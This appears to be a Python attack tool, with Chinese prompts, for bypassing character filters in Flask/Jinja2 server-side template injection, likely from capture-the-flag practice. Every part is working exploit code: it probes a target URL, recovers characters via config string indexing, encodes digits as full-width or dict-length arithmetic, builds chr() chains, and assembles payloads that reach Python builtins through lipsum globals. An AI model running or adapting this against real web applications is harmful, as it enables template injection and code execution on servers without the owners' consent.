Flask-jinja2敏感字符绕过脚本

import requests

url = "http://localhost:5000/demo?name={}{{% print (config|string|list).pop({}).lower() %}}"
payload = "please input you payload"
result = ""


class round3_multi:
    res = "0"
    ret = "1"
    count = 0

    def __init__(self, count):
        self.start(count)
        count = eval(self.ret) - count
        self.count = count
        self.bbb(count)
        self.ccc()

    def start(self, te):
        col = 0
        while 5**col < te:
            col += 1
            self.ret += "*5"

    def aaa(self, te):
        t = te
        if t >= 5:
            t = te // 5
            self.res = self.res + "*5"
            self.aaa(t)

    def bbb(self, ccc):
        t = self.count - eval(self.res)
        if t >= 5:
            self.res = self.res + "+1"
            self.aaa(t)
            self.bbb(t)

    def ccc(self):
        t = self.count - eval(self.res)
        for i in range(0, t):
            self.res = self.res + "+1"
    def result(self):
        self.res = self.ret + self.res[1:].replace("+", "-")
        self.res = self.res.replace("1", "a")
        self.res = self.res.replace("5", "e")
        return self.res


def findiff(tem, obj):
    stop = 0
    if tem == obj:
        return "like"
    if tem.__len__() != obj.__len__():
        return "No!"
    for i in range(0, obj.__len__()):
        if tem[i] != obj[i]:
            return obj[i]


def B2Q(longuchar):
    ret = ''
    for uchar in longuchar:
        inside_code = ord(uchar)
        if inside_code < 0x0020 or inside_code > 0x7e:  # 不是半角字符就返回原来的字符
            return uchar
        if inside_code == 0x0020:  # 除了空格其他的全角半角的公式为: 半角 = 全角 - 0xfee0
            inside_code = 0x3000
        else:
            inside_code += 0xfee0
        ret = ret + str(chr(inside_code))
    return ret


def SetC(longuchar):
    if int(longuchar) == 0:
        ccc = ''
    else:
        ccc = 'c' * int(longuchar) + '=z'
    ret = "dict({})|join|length".format(ccc)
    return ret


def round1(choose):
    global url
    global payload
    global result
    temp = requests.get(url.format("", 1))
    attack = ""
    for i in range(0, 100):
        if choose == 0:
            attack = i
        elif choose == 1:
            attack = B2Q(str(i))
        elif choose == 2:
            attack = SetC(str(i))
        temp = requests.get(url.format("", attack))
        print(temp.url)
        print("--------------------")
        print(temp.text)
        print("--------------------")
        print("是否可以当作模板：1.是；2.不是 (模板中的会发生变换的字符不应包含payload中的字符）")
        if int(input()) == 1:
            break

    for j in payload:
        for i in range(0, 100):
            if choose == 0:
                attack = i
            elif choose == 1:
                attack = str(B2Q(str(i)))
            elif choose == 2:
                attack = SetC(str(i))
            r = requests.get(url.format("", attack))
            if findiff(temp.text, r.text) == j.lower():
                print("(config|string|list).pop({}).lower()  ==  {}".format(attack, j))
                result += "(config|string|list).pop({}).lower()~".format(attack)
                break
    result = result[:len(result) - 1]


def round2():
    global payload
    global result
    result = B2Q(payload)


def round3():
    global url
    global payload
    global result
    url_first = "{% set e=dict(ccccc=z)|join|length %}{% set a=dict(c=z)|join|length %}"
    temp = requests.get(url.format("", 1))
    attack = ""
    for i in range(0, 100):
        t = round3_multi(i)
        attack = t.result()
        temp = requests.get(url.format(url_first, attack))
        print(temp.url)
        print("--------------------")
        print(temp.text)
        print("--------------------")
        print("是否可以当作模板：1.是；2.不是 (模板中的会发生变换的字符不应包含payload中的字符）")
        if int(input()) == 1:
            break

    for j in payload:
        for i in range(0, 1000):
            t = round3_multi(i)
            attack = t.result()
            r = requests.get(url.format(url_first, attack))
            if findiff(temp.text, r.text) == j.lower():
                print("(config|string|list).pop({}).lower()  ==  {}".format(attack, j))
                result += "(config|string|list).pop({}).lower()~".format(attack)
                break
    result = url_first+"\n"+result[:len(result) - 1]


def round4(choose):
    global payload
    global result
    if choose == 0:
        for i in payload:
            result += "chr("+str(ord(i))+")%2b"
    else:
        for i in payload:
            result += "chr("+B2Q(str(ord(i)))+")%2b"
    result = result[:-3]

def round1_init():
    print("数字是否被过滤？1.是；2.不是")
    if int(input()) == 1:
        print(
            "1.数字转全角\n2.数字由”{% set c=dict(c=z)|join|length %}“代替,不进行乘法运算\n3.数字由”{% set c=dict(c=z)|join|length %}“代替,乘法运算")
        choose1 = int(input())
        if choose1 == 1:
            round1(1)
        elif choose1 == 2:
            round1(2)
        elif choose1 == 3:
            round3()
    else:
        round1(0)

print("1.关键字符被过滤\n2.半角字符转全角字符\n3.字符转chr()\n4.构造chr()函数")
choose = int(input())
if choose == 1:
    round1_init()
elif choose == 2:
    round2()
elif choose == 3:
    print("是否使用全角数字？1.是；2.不是")
    if int(input()) == 1:
        round4(1)
    else:
        round4(0)
elif choose == 4:
    payload = "_"
    print("注意模板中的会发生变换的字符不应包含\"_\"")
    round1_init()
    temp1 = "{% set uli="+result+" %}"
    result1 = temp1+"{% set chr=(lipsum|attr((uli,uli,dict(globals=a)|join,uli,uli)|join)|attr((uli,uli,dict(getitem=a)|join,uli,uli)|join)((uli,uli,dict(builtins=a)|join,uli,uli)|join)).chr %}"
    result2 = temp1+"{% set chr=(q|attr((uli,uli,dict(init=a)|join,uli,uli)|join())|attr((uli,uli,dict(globals=a)|join,uli,uli)|join)|attr((uli,uli,dict(getitem=a)|join,uli,uli)|join)((uli,uli,dict(builtins=a)|join,uli,uli)|join)).chr %}"
    result = "二选一\n--------------------\n"+result1+"\n--------------------\n"+result2+"\n--------------------\n"



print(result)